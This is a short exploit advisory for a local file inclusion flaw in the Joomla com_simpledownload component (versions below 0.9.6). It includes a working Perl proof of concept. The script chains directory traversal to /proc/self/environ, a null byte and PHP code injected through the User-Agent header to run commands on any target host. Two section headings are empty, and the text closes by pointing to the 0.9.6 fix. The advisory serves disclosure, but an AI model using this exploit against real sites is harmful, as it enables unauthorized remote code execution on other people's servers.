Joomla component SimpleDownload Local File Inclusion

Subject: Joomla component SimpleDownload Local File Inclusion

A vulnerability has been found in the downloader component for Joomla. It can be exploited in various ways - from sensitive information disclosure to remote code execution.

Input passed to controller is not properly sanitized, allowing attacker to inject php code
via Local File Inclusion combined with Directory Traversal (/proc/self/environ method) and Null Byte Injection, leading to Remote Code Execution.


--[Vulnerable Version]--
com_simpledownload <0.9.6

Local File Inclusion
Directory Traversal
Remote Code Execution

--[LFI Exploit]--

--[LFI PoC]--

--[RCE PoC]--
#!/usr/bin/perl -w
# quick'n'dirty PoC for RCE 
# com_simpledownload <0.9.6
# by <sm0q>
# usage eg.:
# $./ -h localhost \ 
# -c "<?php passthru('uname -a > uname.txt'); ?>"
use LWP::UserAgent;
use Getopt::Std;
my %o=();
die "Usage: $0 -h target_host -c command\n" if ! (defined $o{h} && defined $o{c});
$o{h} =~ s/(http:\/\/)?(.*)/http:\/\/$2/;
my $url="/index2.php?option=com_simpledownload&controller=../../../../../../../../../../../../../../../../../proc/self/environ%00";
my $lwp = LWP::UserAgent->new;
print  $lwp->get($o{h}.$url, 'User-Agent'=>"$o{c}")->decoded_content;

Thanks to quick response from Joel Rowley 
fix released in version 0.9.6 - upgrade 
as soon as possible from:


Copyright © 1995-2018 All rights reserved.